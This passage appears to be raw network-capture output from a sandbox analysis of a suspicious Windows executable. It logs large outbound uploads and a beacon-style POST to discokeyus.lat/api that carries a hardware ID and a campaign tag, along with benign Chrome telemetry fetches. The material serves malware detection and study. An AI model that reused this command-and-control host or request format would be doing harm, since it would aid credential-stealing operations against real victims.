Ascii: 2?@{r<DF_REaT;xM~\Sw?>u9>KBV"H.X%x3]/1eEqp>`FZ+8z@@%TtT)91X3QMt yOT9CW_UXs?Rj<<q& DHMhq<}
2024-12-20 15:05:29 UTC	15331	OUT	Data Raw: 98 2a 3f aa b9 04 b6 76 8a d2 db b6 ee 3e ac 89 b6 6d ca d4 de 12 99 52 1c cd 2b 61 8a cd f9 9e a4 1d 04 97 6e 63 2c f1 62 53 75 3c 3a 02 8b 56 93 9b c2 73 ca e3 fe 9a ec d3 cd 4d bb b1 7a 6c c7 23 d2 fe db a4 f0 f3 e5 98 98 56 82 2a 33 0b 89 1d 16 32 87 09 f9 4a 12 2d 1b 43 2f 37 69 a9 35 06 a8 94 85 87 25 76 e5 13 2e 3b 93 fb 20 02 4e 47 36 7f 8a d4 e6 3a c1 f1 f2 70 ae 19 7a cb a5 3c f6 dd ba 79 d6 8b 17 26 29 66 77 c4 67 96 35 7d 2f 8d 70 27 98 90 5a b9 88 7c d0 6c 3f 8c d8 50 19 56 02 fc 3f 78 ce 2c cb 67 90 51 51 28 38 c6 1b 8e 48 d1 db 14 cb 7d 73 21 d9 eb b8 40 7d 7a 87 87 6b 46 20 db 81 96 a9 2a c2 13 69 c8 54 e1 53 d6 12 cc df ab d0 8b 6a d9 8c 08 40 4e 40 04 13 13 f8 d8 e3 78 42 00 e6 7f 24 e4 c6 59 94 b7 58 46 d0 8f d9 2c db c1 c2 b6 c2 81 d8 Data Ascii: ?v>mR+anc,bSu<:VsMzl#V32J-C/7i5%v.; NG6:pz<y&)fwg5}/p'Z\|l?PV?x,gQQ(8H}s!@}zkF *iTSj@N@xB$YXF,
2024-12-20 15:05:29 UTC	15331	OUT	Data Raw: 57 8a 2b a6 e8 a8 ae d7 ea 8d 1b 26 04 f0 be f0 a9 41 95 43 01 88 1b f7 84 78 01 2f 61 ec f3 fa f1 a2 9f d3 e6 fe 0a ba a4 f5 fb 63 cc 49 ff 5b ff e1 7f ab 4d e7 36 6d 1a d3 0e 51 9a 43 b4 81 36 9a ed 19 dd 73 dd bd b6 7f f9 21 b9 57 b1 56 37 93 18 e7 b1 a1 f7 46 12 45 53 e1 61 61 fe 69 6a d4 30 af 44 1e c2 9f ae 5c b9 cd 3c 62 4b f3 8e 62 13 19 cf 72 6d 4c b2 f9 0f 98 b9 8e 7d 2b 42 00 91 2f a9 1b f8 39 1d 32 4d 0a 84 09 18 b4 3e df cc bf a2 9a ef 7f 83 53 af 26 ee f2 7c bf 5d eb 9c 6b b3 31 dd db b5 81 5c 5e 0e a8 5f d7 0d 2e 7d 71 7d 14 fb 35 7d a7 e7 f7 e9 c3 40 d5 67 ae 17 64 a9 dd 24 9d f1 38 2a c7 7e 93 ab 63 d2 6d 9b ee a9 aa 2e 34 dd 95 3f d2 ba 7e a7 ec 9d 8c 79 27 6b d9 91 55 35 f8 34 30 c1 4b c6 cc 96 02 45 60 1e ae 17 b7 19 61 ab 4b 50 2a 9d Data Ascii: W+&ACx/acI[M6mQC6s!WV7FESaaij0D\<bKbrmL}+B/92M>S&\|]k1\^_.}q}5}@gd$8~cm.4?~y'kU540KE`aKP
2024-12-20 15:05:29 UTC	15331	OUT	Data Raw: 7d 6f e0 6b 73 4e 68 30 44 5a fc 3f 88 ac ca 48 a4 cf 8f 45 a1 e4 6b 14 65 9c 09 30 1b 0b d0 2e 98 fb 33 b1 7a e6 8e 81 86 cf 6c b2 01 da 70 5d 43 5e ad 81 33 2c ed 01 23 09 4f 78 c1 dd 7e c9 b4 14 98 5c 43 f5 43 5f 5f e8 38 68 9f c8 c6 21 e7 79 c0 cc 7c f3 85 6b 63 97 73 97 92 ac 9f 5d 1f 75 5e 7b 6c 30 a7 59 9e bc 07 53 51 52 97 fe a3 6c e4 ac 57 10 c7 ce dc bd 02 d3 8c fc f7 8b 3b 27 cb ee 5c 6d e2 b1 dc 77 fc ee b8 7d e6 54 83 d6 cb ae f9 16 08 35 05 b3 30 6d 6a dd 5b 55 19 1b 66 b4 bf 86 7a 09 75 f2 0b 5f 13 f6 70 ee 6e 1a b8 6f bb eb 1b 8e 82 16 14 9a 8e 3b 3c c6 e4 11 b0 f7 87 2b 1b 0b 81 20 84 02 a8 06 13 31 24 0a 17 01 52 a3 f1 97 80 d0 5d 70 1f 6d 98 ac 26 8a 34 f9 bf a0 f0 b1 03 f7 36 aa a4 d4 22 d2 80 ba 2b 9c bc d5 ea 94 a8 e7 b1 5d 88 53 fd Data Ascii: }oksNh0DZ?HEke0.3zlp]C^3,#Ox~\CC__8h!y\|kcs]u^{l0YSQRlW;'\mw}T50mj[Ufzu_pno;<+ 1$R]pm&46"+]S
2024-12-20 15:05:29 UTC	15331	OUT	Data Raw: 9f 78 fa 67 a1 a8 1e aa 65 13 6e 18 6f f9 47 ac 7c bd d9 11 be ac cd 17 85 4c b0 d8 1a 77 e5 06 f6 d5 92 4b bd 3d 84 27 c4 e9 d8 f6 45 e6 c7 99 d2 87 33 2d 22 5d ff c2 7e 25 f4 2b a3 e1 40 ef ac 28 63 aa 29 82 f2 61 9d a4 b0 d3 7b 67 ed 83 45 9b be a8 b5 0b 50 76 db f6 1d a8 df 3d 64 3d a1 8b ee e2 77 8f 6a 03 e2 fd ac a2 99 2c 45 bc 8a 2a e9 36 47 10 37 27 be dd 17 ef b7 98 3c 7e 3a 26 04 d7 a0 52 24 c8 9b 92 d9 01 34 19 3e 54 42 35 8f 1d d6 00 c0 be d0 01 c7 ed d0 fa 7e 2a 9d bd f2 7e 90 a3 e2 7e 7f eb cc c5 96 47 2c 8d f8 b3 02 4c d2 b3 e8 76 8b 08 93 52 ff 50 ec 56 ed 03 5a 5d d2 a3 2b 09 a8 15 d3 06 be c4 2c bc 21 18 8f 30 0d 58 96 e0 cf 9b cb 27 2f 85 95 6b 39 38 c1 7e ef e0 64 a6 20 04 61 ec e0 53 91 99 6d f4 92 e3 f8 99 b1 5f 67 c4 13 c4 2a 90 70 Data Ascii: xgenoG\|LwK='E3-"]~%+@(c)a{gEPv=d=wj,E6G7'<~:&R$4>TB5~~~G,LvRPVZ]+,!0X'/k98~d aSm_g*p
2024-12-20 15:05:29 UTC	15331	OUT	Data Raw: 77 03 bc 40 e2 fb 61 93 ed 38 db d4 88 e9 e5 51 45 62 c1 f0 1d df 4c 16 db 20 0d 7e ac 3d 28 31 9c d9 c6 1d d5 bd 52 6f a8 62 cb 3c ae 2f 47 4c 43 18 21 0c 0d 39 52 cb 3f a6 f9 28 04 61 6a 9a 0f 7e f0 b5 cb b1 63 6e e0 e0 fa 03 3d 92 1e 02 09 4e 7d 5a 38 47 57 8a 54 54 6f f0 64 76 5c c1 35 9a 7a 6d 75 84 97 7f ef ca c8 55 84 b7 7a de ae 8a 50 03 7f ca c3 43 9b 55 da 88 a5 ea ee 1f 6b 8e 36 e3 2d 3e dc 3d f9 8a 94 e2 d3 5b 66 8b 2d 75 90 d4 96 80 4b e5 4a 5e fb 54 fe 7c fd 5f 3d a1 08 89 d4 f5 e1 3a d9 41 a3 5d 40 47 f0 c7 df 0c 1f 61 a2 ef 0b a5 30 95 b2 6e df f9 de b6 ab 0d ce 3d 5b c7 90 d4 40 62 f1 af 32 2f 79 f0 a4 1c 81 f4 4d 90 90 53 2c 6b 96 00 81 48 ae 61 c7 47 cb bb 5f a1 11 ab 2f c7 0a 2e 7c 8a 71 82 a8 fa d6 c5 c7 72 a0 48 25 e1 c5 24 bc af f2 Data Ascii: w@a8QEbL ~=(1Rob</GLC!9R?(aj~cn=N}Z8GWTTodv\5zmuUzPCUk6->=[f-uKJ^T\|_=:A]@Ga0n=[@b2/yMS,kHaG_/.\|qrH%$
2024-12-20 15:05:29 UTC	15331	OUT	Data Raw: ec 2b 7e da 0b 00 99 09 39 c6 45 1c 34 e2 4b 50 c5 c1 fb af 4c 5f 08 1d 32 21 09 02 59 ce 2b 34 3c f2 f5 e8 56 9b 11 3d 1b 81 4c cc 38 00 da 6f 02 a6 ae 36 08 65 6f 08 00 36 1d a2 2f 16 09 3a 57 52 be 95 b1 cd 0e d5 87 1b b2 18 9f 1e 01 8a 85 18 60 0e 05 8e b4 76 e7 da 3d d0 5f 6c 51 ef 5b c2 5a e8 46 c0 f6 21 b7 c9 12 20 15 cf d2 14 22 24 6d 77 ad ed bd 2e 47 30 ab 60 fb 20 d6 05 66 be b4 78 6a 2e a0 9c 23 fb fc 0b e8 7f 57 18 f1 4e 18 da 95 9f 06 43 d3 72 8c 96 ca e3 7b 44 ef b5 98 ed e9 a5 d5 60 ed 8e 16 a8 f6 64 a2 23 e0 08 10 01 d3 40 0c bb e8 8c c3 8d c7 e8 88 e4 bc af b5 23 9f 3d f8 9c 1e fe 50 b6 4f fb a1 cc ed 25 56 79 ff 7c 1b b5 ea cb 3b dc a4 b9 42 ef 3c 70 41 18 43 ef fe 37 4e ac 9b 51 e1 0b e2 10 d9 fd cd de 04 fb 5d a0 24 82 9a 05 c1 a7 fa Data Ascii: +~9E4KPL_2!Y+4<V=L8o6eo6/:WR`v=_lQ[ZF! "$mw.G0` fxj.#WNCr{D`d#@#=PO%Vy\|;B<pAC7NQ]$
2024-12-20 15:05:33 UTC	1143	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:05:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ef8b83qki2etpogkga9uaptn50; expires=Tue, 15 Apr 2025 08:52:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lwoNSD5rhl4lFBVBKsLtls8rZ7qWXpVaU%2BErZ%2Bs9rOeRfTNp1Ul%2FjvAa%2BAm%2FPj8rbkDW%2B7n%2B3h8f7R7jpHs0fB6yCEZElCvQon%2F6hfG7fhAmVraI83BIw7sXEoe0AoJUNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5087e91d7d9e16-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1963&min_rtt=1957&rtt_var=747&sent=314&recv=606&lost=0&retrans=0&sent_bytes=2832&recv_bytes=587988&delivery_rate=1452013&cwnd=189&unsent_bytes=0&cid=3ff6bc54f445beb3&ts=3962&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49751	104.21.21.99	443	5196	C:\Users\user\Desktop\RZnZbS97dD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:05:34 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: discokeyus.lat
2024-12-20 15:05:34 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 32 37 45 43 44 31 45 36 37 41 41 35 43 32 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=27ECD1E67AA5C2B7AC8923850305D13E
2024-12-20 15:05:35 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:05:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l2cte9cig9j0l2qb85ff1l1bp4; expires=Tue, 15 Apr 2025 08:52:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pPAr%2FPQsKj2YdRoyuSaSAB7hqhoK%2FemYKO1QEuxsMQ9y82lHfYlV6eBbfXp7Gbe%2FuU6hq4UGGrFlkLWsBcOT5MHnFdzAvxnWXmgkTc1bM97Y3jjsWFBeiR6C2btWAdkifg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50880aa85942a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1608&min_rtt=1596&rtt_var=623&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=986&delivery_rate=1722713&cwnd=32&unsent_bytes=0&cid=3f2cb8c9da5d2d4e&ts=775&x=0"
2024-12-20 15:05:35 UTC	130	IN	Data Raw: 37 63 0d 0a 7a 5a 78 4d 78 33 55 4b 38 71 6c 73 59 4e 35 6b 6b 4b 44 35 51 57 68 30 50 37 5a 46 71 6c 32 2f 36 4f 32 6c 6c 53 51 78 4a 4b 2b 57 35 32 36 79 56 7a 44 51 77 52 67 55 72 6c 37 4d 6a 36 56 75 57 55 77 4b 6d 48 65 62 61 4a 48 5a 33 4a 61 37 46 51 64 34 67 4b 4c 36 4b 70 74 61 62 70 66 50 51 67 57 6d 41 62 4b 4d 32 79 63 63 56 67 57 47 61 59 67 34 6e 64 4c 63 32 4d 67 3d 0d 0a Data Ascii: 7czZxMx3UK8qlsYN5kkKD5QWh0P7ZFql2/6O2llSQxJK+W526yVzDQwRgUrl7Mj6VuWUwKmHebaJHZ3Ja7FQd4gKL6KptabpfPQgWmAbKM2yccVgWGaYg4ndLc2Mg=
2024-12-20 15:05:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49841	13.107.246.42	443	4864	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:06:01 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 15:06:02 UTC	868	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:02 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 17764986-301e-00bb-42c8-4b7a7d000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241220T150602Z-156796c549bc8qtwhC1EWR3avg0000000nb000000000a05z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-20 15:06:02 UTC	15516	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-20 15:06:02 UTC	16384	IN	Data Raw: 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 31 31 29 5d 3d 22 49 50 72 6f 6d 69 73 65 22 29 2c 61 2e 74 6f Data Ascii: &&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(11)]="IPromise"),a.to
2024-12-20 15:06:02 UTC	16384	IN	Data Raw: 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 59 28 65 2c 22 6c 69 73 74 65 6e 65 72 73 22 2c 7b 67 Data Ascii: on(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(e){Y(e,"listeners",{g
2024-12-20 15:06:02 UTC	16384	IN	Data Raw: 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 41 5b 74 65 5d 28 65 29 2c Data Ascii: hComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};function c(){A[te](e),
2024-12-20 15:06:02 UTC	16384	IN	Data Raw: 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4e 6c 28 29 7b 72 65 74 75 72 Data Ascii: fined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return null}function Nl(){retur
2024-12-20 15:06:02 UTC	16384	IN	Data Raw: 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 65 29 7b 76 61 72 20 6f 3d 74 68 69 73 2c 63 3d 7b 7d 3b Data Ascii: me failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(a,e){var o=this,c={};
2024-12-20 15:06:02 UTC	16384	IN	Data Raw: 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 61 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageTags=function(e,t){var
2024-12-20 15:06:02 UTC	16384	IN	Data Raw: 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 7c 7c 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 Data Ascii: otype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].name\|\|~t[n].name.indexOf
2024-12-20 15:06:02 UTC	16384	IN	Data Raw: 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 6c 69 63 65 22 2c 44 67 3d 22 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: 